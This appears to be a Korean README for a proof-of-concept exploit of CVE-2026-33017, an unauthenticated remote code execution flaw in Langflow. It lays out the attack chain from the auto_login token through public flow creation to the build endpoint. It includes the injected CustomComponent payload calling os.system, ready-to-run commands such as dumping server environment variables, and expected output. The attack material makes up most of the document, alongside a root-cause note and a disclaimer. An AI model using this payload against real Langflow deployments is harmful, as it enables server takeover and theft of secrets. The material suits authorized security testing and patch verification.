
CVE-2026-33017에 대한 개념 증명 익스플로잇으로, 공개 빌드 엔드포인트를 통해 악의적인 CustomComponent 주입을 이용하여 Langflow에서 인증되지 않은 원격 코드 실행을 시연합니다.
CVE ID: CVE-2026-33017
영향받는 소프트웨어: Langflow
취약한 버전: <= 1.8.2
수정 버전: >= 1.9.0
심각도: 치명적
작성자: r3nsi15
날짜: 2026
Langflow는 공개 플로우 빌드 엔드포인트(/api/v1/build_public_tmp/{flowID}/flow)를 노출하며, 인증 없이 임의의 CustomComponent 코드 블록을 수락하고 서버 측에서 실행합니다. 악의적인 Python 페이로드를 CustomComponent 노드의 code 필드에 주입함으로써, 인증되지 않은 공격자는 Langflow 서버 프로세스의 권한으로 임의의 운영 체제 명령을 실행할 수 있습니다.
공격 체인은 먼저 /api/v1/auto_login 엔드포인트를 남용합니다. 이 엔드포인트는 Langflow가 기본 자동 로그인 구성으로 실행될 때 자격 증명 없이 베어러 토큰을 발급합니다. 그런 다음 해당 토큰을 사용하여 임시 공개 플로우를 생성하고 빌드 엔드포인트를 통해 서버 측 코드 실행을 트리거합니다.
| 엔드포인트 | 메소드 | 인증 필요 | 목적 |
|---|---|---|---|
/api/v1/auto_login | GET | 아니요 | 베어러 토큰 획득 (자동 로그인이 활성화되어 있어야 함) |
/api/v1/flows/ | POST | 예 (Bearer) | 새 플로우 생성 |
/api/v1/build_public_tmp/{flowID}/flow | POST | 아니요 (공개) | 빌드 트리거 — 취약한 실행 지점 |
/api/v1/flows/{flowID} | DELETE | 예 (Bearer) | 생성된 플로우 정리 |
파일: CVE-2026-33017_POC.py
requests 라이브러리pip install requests
python3 CVE-2026-33017_POC.py -u <대상_URL> -c <명령어> [-d]
| 플래그 | 긴 형식 | 필수 여부 | 설명 |
|---|---|---|---|
-u | --url | 예 | Langflow 인스턴스의 기본 URL |
-c | --command | 예 | 서버에서 실행할 OS 명령어 |
-d | --delete | 아니요 | 익스플로잇 후 생성된 플로우 삭제 |
코드 실행 확인:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
서버 환경 변수 검색:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
익스플로잇 후 플로우 유지 (정리 건너뛰기):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] 토큰 획득
[+] 플로우 생성됨, ID: <id>
[+] 익스플로잇 전송 성공!
[+] 플로우 삭제 성공!
익스플로잇은 CustomComponent 노드의 code 필드에 다음 Python 스니펫을 주입합니다:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<명령어>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="결과", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - os 모듈을 동적으로 가져와 공격자가 제공한 셸 명령을 서버에서 실행합니다.CustomComponent입니다.PUBLIC으로 생성되고 빌드 엔드포인트가 공개 엔드포인트에서 호출되므로, 실행을 트리거하는 데 세션 쿠키나 인증 토큰이 필요하지 않습니다.Langflow의 CustomComponent 시스템은 플로우 정의의 일부로 임의의 Python 코드를 제출할 수 있도록 허용합니다. /api/v1/build_public_tmp/{flowID}/flow 엔드포인트는 이 코드를 서버 측에서 빌드하고 부분적으로 평가하며, 모듈 수준의 명령문을 샌드박싱하거나 Python 내장 함수(예: __import__)에 대한 접근을 제한하지 않습니다.
1. GET /api/v1/auto_login → 베어러 토큰 획득 (자격 증명 불필요)
2. POST /api/v1/flows/ → PUBLIC 플로우 생성 (Bearer 토큰)
3. POST /api/v1/build_public_tmp/ → 악성 CustomComponent 주입 및 실행 (인증 불필요)
4. DELETE /api/v1/flows/{id} → 정리 (선택 사항)
위의 네 단계 모두 기본 Langflow 배포에 대해 익명의 공격자가 수행할 수 있습니다.
LANGFLOW_AUTO_LOGIN=false) 인터넷에 노출된 배포에서.이 개념 증명은 교육 및 공인된 보안 연구 목적으로만 제공됩니다. 명시적인 서면 허가 없이 이 스크립트를 시스템에 사용하는 것은 불법이며 비윤리적입니다. 작성자와 기여자는 오용에 대한 어떠한 책임도 지지 않습니다.